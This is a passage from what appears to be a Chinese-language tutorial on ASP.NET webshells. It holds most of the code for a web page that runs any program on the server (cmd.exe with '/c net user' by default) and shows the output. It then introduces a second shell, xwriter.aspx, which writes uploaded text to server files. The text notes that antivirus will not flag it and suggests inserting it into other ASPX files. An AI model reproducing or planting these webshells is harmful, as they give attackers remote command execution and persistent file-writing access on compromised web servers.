| Dim myString As String = myStreamReader.Readtoend() myProcess.Close() mystring=replace(mystring,"<","<") mystring=replace(mystring,">",">") result.text= vbcrlf & "<pre>" & mystring & "</pre>" End Sub </script> <html> <head> <title>ASP.NET Shell for WebAdmin2.X Final</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> </head> <body> <form runat="server"> <asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">Program</asp:Label> <asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox> <br /> <asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">Arguments</asp:Label> <asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox> <br /> <asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button> <p> <asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> </p> </form> </body> </html> 二、xwriter.aspx 记得有个ASP下的小马就是利用FSO把提交的文本信息保存为一个文件，虽然体积比eval大些但是代码完全合法，杀毒软件也不会找茬的。呵呵，以下代码就是在ASP.NET实现这功能（自己拿去改改还可以插入ASPX文件哦）： <%@ Page Language="VB" %> <%@ import Namespace="System.IO" %> <script runat="server"> Sub Page_load(sender As Object, E As EventArgs) 上一页 [1] [2] [3] [4] [5] 下一页 | 
